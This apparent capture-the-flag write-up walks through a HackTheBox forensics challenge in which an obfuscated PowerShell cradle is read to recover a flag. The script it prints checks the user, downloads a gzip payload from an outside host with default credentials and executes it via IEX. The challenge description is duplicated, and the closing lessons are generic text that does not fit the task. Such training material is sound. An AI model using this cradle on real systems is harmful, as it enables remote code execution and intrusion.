Alien Cradle

Platform: HackTheBox | Category: Forensics | Difficulty: Very Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora's close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora's close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. Unzipping the .zip file shall resulting to a .ps1 script file.

THE SCRIPT

if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};$w = New-Object net.webclient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

1. Well we can clearly see the flag partition there and concate them all shall giving us the full flag.
2. Got the flag.

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.